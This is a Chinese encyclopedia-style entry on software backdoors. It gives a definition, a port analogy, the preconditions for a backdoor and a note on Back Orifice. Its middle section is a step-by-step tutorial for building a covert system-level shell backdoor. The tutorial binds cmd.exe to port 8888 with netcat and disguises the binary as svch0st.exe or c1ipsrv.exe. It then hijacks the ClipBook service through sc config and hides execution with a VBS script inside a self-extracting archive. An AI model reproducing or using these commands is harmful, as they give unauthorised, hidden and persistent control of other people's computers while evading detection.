後門

後門

軟件開發方法
後門,是繞過安全性控制而獲取對程序或系統訪問權的方法。在軟件的開發階段,程序員常會在軟件内創建後門以便可以修改程序中的缺陷。如果後門被其他人知道,或是在發布軟件之前沒有删除後門,那麼它就成了安全風險。後門又稱為BackDoor——談到它,就不得不先提一下相關知識:大家都知道,一台計算機上有65535個端口,那麼如果把計算機看作是一間屋子,那麼這65535個端口就可以它看做是計算機為了與外界連接所開的65535扇門。為什麼需要那麼多扇門呢?因為主人的事務很繁忙。
  • 中文名:後門
  • 外文名:Back Door
  • 所屬學科:
  • 可以:修改程序中的缺陷
  • 特點:安全風險

術語解釋

在軟件的開發階段,程序員常會在軟件内創建後門以便可以修改程序中的缺陷。如果後門被其他人知道,或是在發布軟件之前沒有删除後門,那麼它就成安全風險。後門又稱為Back Door——一台計算機上有0到65535共65536個端口,那麼如果把計算機看作是一間屋子,那麼這65536個端口就可以把它看做是計算機為了與外界連接所開的65536扇門。為什麼需要那麼多扇門呢?因為主人的事務很繁忙,它為了同時處理很多應酬,就決定每扇門隻對一項應酬的工作。

所以有的門是主人特地打開迎接客人的(提供服務),有的門是主人為了出去訪問客人而開設的(訪問遠程服務)——理論上,剩下的其他門都該是關閉着的,但偏偏因為各種原因,有的門在主人都不知道的情形下,卻被悄然開啟。于是就有好事者進入,主人的隐私被刺探,生活被打擾,甚至屋裡的東西也被搞得一片狼借。這扇悄然被開啟的門——“後門”。當然,這隻是一個比喻,事實上除了通過端口連接外,也可以通過串/并口,無線設備連接的方式進行入侵,為了行文方便,以下文中的“端口”泛指各種對外接口(interface)。n

打造

大家都知道nc是一個強大并且靈活的黑客工具,用他可以做很多事情,譬如做為telnet的客戶端口,譬如入侵的時候反彈回來shell,譬如掃描……但是你有沒有想過将他打造成一個服務級的後門呢?現在好多跟我一樣的菜鳥還不懂得編程,别人寫的流行點的後門又經常被殺,那就跟我一起來自己手工制作一個後門吧,不需要任何編程知識菜鳥級的東東哦。

首先請準備好不被殺的nc.exe(随便加個殼就可以了的),還有sc.exe(這個是操作服務的一個小工具,被人稱為操作服務的軍刀),這些就可以打造我們自己的後門了,後門的要求我想不需要很強的操作功能,隻需要當我們連接的時候獲得一個system權限的shell就可以了,有了CMDSHELL做什麼不可以呢。如果你需要反彈的後門,也可以做到,自己注冊個域名就可以用nc反彈了,因為比較複雜這裡就不說了。我們知道nc就是實現我們的後門功能的最經典的工具,我們來看看nc的幫助,命令行下輸入nc -h就可以看到,我們主要用到的幾個參數如下:

-e 綁定一個程序并且連接時執行

-l 監聽模式

-p 指定nc要運行的本地端口

-L 增強了的監聽模式,當連接斷開時再次監聽

至于其他的用法相信各位已經很了解了的,我們以前經常用到的是

nc -l -e cmd.exe -p 8888 監聽8888端口,當有連接時重定向到cmd.exe實現綁定一個shell

這樣的形式用serveru等溢出程序執行後來綁定一個可以得到shell的端口8888,我們telnet或者nc連接上來的時候就可以直接獲得一個shell。但是這樣連接斷開之後監聽的端口就會關閉,是一次性的,不能再次獲得shell,這樣當然不适合于做後門了。後來發現nc的這個參數L可以一直保持監聽的狀态,可以反複連接。用

nc -L -e cmd.exe -p 8888 也是綁定的,不過加強了的

這樣的命令就已經達到我們的目的了,但是我們往往是在溢出的shell裡工作,留後門是為了以後的進入,那我們如何保證nc再機器重起之後還可以工作從而實現我們的後門的目的呢?你可以把他放到注冊表的Run等啟動項下面,但是感覺那樣不是太好,有些地方已經被殺毒軟件盯上了,把我的後門放到那裡實在不是很放心,後來想到幹脆作成服務吧!随着系統啟動而啟動,呵呵。那就看看如何打造服務吧!

首先我們将nc.exe放到%systemroot%system32下面,起名叫svch0st.exe或者放到%systemroot%system下面更名叫svchost.exe,這樣的目的是為了在任務管理器裡看不出異樣。然後用sc替換系統的服務,不用改别的,隻要修改他的執行路徑就可以了,我們就改那個clipsrv.exe服務吧!命令如下:

sc config clipsrv start= auto 将clipsrv.exe服務設置為自動

sc config clipsrv binpath= "c:winntsystem32svch0st.exe -L -e cmd.exe -p 8888" 設置clipsrv.exe服務的啟動路徑為我們的nc

sc start clipsrv 啟動clipsrv.exe服務

嘿嘿,但是看看結果吧!看看服務裡的顯示信息,如圖一,很顯眼哦!不管,先啟動服務然後

netstat -anfind "8888" netstat -an的結果中查找8888看我們的程序是否運行

的确是已經被打開了,但是當顯示服務沒有響應的時候nc的進程被結束了,這是Windows服務管理機制吧。不是很成功呵,我們繼續改造!不懂編程的我們這個時候就會很郁悶,因為不能讓服務停止響應的時候我開始想用bat2exe.exe,但是啟動服務的時候總是出現拒絕訪問的錯誤,大概是bat2exe出來的exe文件不被系統服務格式所支持,隻能想其他的辦法了,于是我想到了用Winrar.exe來做我們自己的exe文件,這總該被服務的可執行文件支持吧!

至于如何實現編程裡的子進程在父進程終止後仍然可以在内存中運行,我用的方法是寫個run.vbs然後用cscript.exe來調用,至于如何調用就可以在自解壓格式裡設置解壓後運行cscript.exe run.vbs,如圖三。其中Run.vbs裡的内容如下:

dim sh 定義變量

set sh=createobject("wscript.shell") 取得WSH對象

sh.run "nc -L -e cmd.exe -p 8888",0 執行我們的程序并隐藏錯誤

而自解壓的路徑寫上%systemroot%system32,這樣我們自解壓服務程序就做好了,保存為c1ipsrv.exe(不好意思,還是用那個1和l的把戲),放到c:winntsystem32目錄下面。現在修改我們的clipsrv剪切薄服務的具體路徑為c:winntsystem32c1ipsrv.exe,命令如下:

sc stop clipsrv 将clipsrv.exe服務設置為自動

sc config clipsrv start= auto

sc config clipsrv binpath= "c:winntsystem32c1ipsrv.exe" 設置clipsrv.exe服務的啟動路徑為我們的nc

sc start clipsrv 啟動clipsrv.exe服務

現在一切OK了,這樣以來我們的程序的參數細節還會被屏蔽,比開始的參數直接放到執行文件路徑裡好多了。我們來實驗下。先net start clipsrv,然後netstat -anfind "8888"看看開沒開8888端口,最後用nc 127.0.0.1.8888連接上去得到shell了呵!如圖四。好了,快去體驗自己動手的快樂哦,你還可以作其他的事情,隻要你的服務的程序做的夠好,甚至可以用反向回來的nc,具體我就不寫了。

本文是我看了韓的一個動畫之後想到的,後來自己想到完全可以将nc改成後門的,不過也還是有很大的缺陷,畢竟不是編程,因為不能返回信息給服務控制器,會在日志裡留一些錯誤,不過,有多少人去在意這些錯誤呢?還有就是沒有身份驗證功能,不過端口可以自定義不知道算不算一個身份驗證。

必要條件

後門産生的必要條件有以下三點:

1.必須以某種方式與其他終端節點相連——由于後門的利用都是從其他節點進行訪問,因此必須與目标機使用雙絞線、光纖維、串/并口、藍牙、紅外等設備在物理信号上有所連接才可以對端口進行訪問。隻有訪問成功,雙方才可以進行信号交流,攻擊方才有機會進行入侵。

2.目标機默認開放的可供外界訪問的端口必須在一個以上——因為一台默認無任何端口開放的機器是無法連接通信的,而如果開放着的端口外界無法訪問,則同樣沒有辦法進行入侵。

3.目标機存在程序設計或人為疏忽,導緻攻擊者能以權限較高的身份執行程序。并不是任何一個權限的帳号都能夠被利用的,隻有權限達到操作系統一定要求的才允許執行修改注冊表,修改log記錄等相關修改。

在生活中,有的人走“後門”,靠關系、金錢、權力等方式進行違法的操作。

Back Orifice是一個用于揭示微軟Windows操作系統安全隐患的rootkit程序。這個軟件是由微軟的BackOffice産品而得名的。由一組被稱為cult of the Dead Cow的電腦黑客開發的,Back Orifice允許某些人在一台電腦上控制另一台運行Windows 95或其後的操作系統的電腦。當沒有任何防護時,Back Orifice能探測到密碼,記錄用戶的按鍵情況,進入到一個桌面文件系統或造成其他的破壞。

相關詞條

相關搜索

其它詞條